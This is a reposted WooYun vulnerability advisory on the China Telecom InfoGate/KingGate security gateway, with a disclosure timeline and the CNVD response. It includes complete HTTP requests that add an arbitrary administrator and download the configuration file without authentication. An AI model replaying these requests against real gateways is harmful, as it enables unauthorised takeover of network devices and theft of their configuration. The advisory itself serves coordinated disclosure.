发新话题
打印

中国电信卓尔 InfoGate(现金山KingGate)安全网关存在通用型设计缺陷

中国电信卓尔 InfoGate(现金山KingGate)安全网关存在通用型设计缺陷

漏洞概要
缺陷编号:        WooYun-2015-133471
漏洞标题:        中国电信某安全网关存在通用型设计缺陷(可直接添加任意管理员等等)
相关厂商:        中国电信
漏洞作者:        YY-2012
提交时间:        2015-08-14 16:52
公开时间:        2015-11-12 10:58
漏洞类型:        设计缺陷/逻辑错误
危害等级:        高
自评Rank:        10
漏洞状态: 已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源:        http://www.wooyun.org
Tags标签:设计缺陷/边界绕过 逻辑错误


漏洞详情披露状态:
2015-08-14:        细节已通知厂商并且等待厂商处理中
2015-08-14:        厂商已经确认,细节仅向厂商公开
2015-08-17:        细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-10-08:        细节向核心白帽子及相关领域专家公开
2015-10-18:        细节向普通白帽子公开
2015-10-28:        细节向实习白帽子公开
2015-11-12:        细节向公众公开

简要描述:rt
详细说明:“InfoGate安全网关”存在逻辑性设计缺陷发现全功能可未授权访问,惊呆了。。



任意添加管理员(以下提交会添加一个名为test124密码为test1245的管理员):


code 区域POST /src/system/addmanageuser.php HTTP/1.1
Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Referer: https://地址/src/system/addmanageuser.php?&IG_current_menu_name=系统配置&IG_current_submenu_name=管理设置
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 地址
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: PHPSESSID=
Content-Length: 235

IG_current_menu_name=%CF%B5%CD%B3%C5%E4%D6%C3&IG_current_submenu_name=%B9%DC%C0%ED%C9%E8%D6%C3&IG_user=test124&IG_password=test1245&IG_password1=test1245&IG_permission1=1&IG_permission2=1&IG_permission3=1&IG_submit=+++%C8%B7++%B6%A8+++



未授权下载配置文件:


code 区域POST /src/system/default.php HTTP/1.1
Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Referer: https://地址/src/system/default.php?IG_current_menu_name=系统配置&IG_current_submenu_name=配置管理
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7df16713100de
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 地址
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: PHPSESSID=
Content-Length: 306

-----------------------------7df16713100de
Content-Disposition: form-data; name="IG_type"

IG_backup
-----------------------------7df16713100de
Content-Disposition: form-data; name="IG_uploadfile"; filename=""
Content-Type: application/octet-stream


-----------------------------7df16713100de--



其他功能不一一举例了。。


漏洞证明:





















案例:


code 区域**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**:8443/
https://**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/

修复方案:添加各种验证权限。。

版权声明:转载请注明来源 YY-2012@乌云

漏洞回应
厂商回应:
危害等级:中

漏洞Rank:9
确认时间:2015-08-14 10:56
厂商回复:CNVD确认所述情况,已经转由CNCERT向中国电信集团公司通报,由其后续协调网站管理部门处置。
最新状态:暂无
原文:http://www.wooyun.org/bugs/wooyun-2015-0133471

TOP

发新话题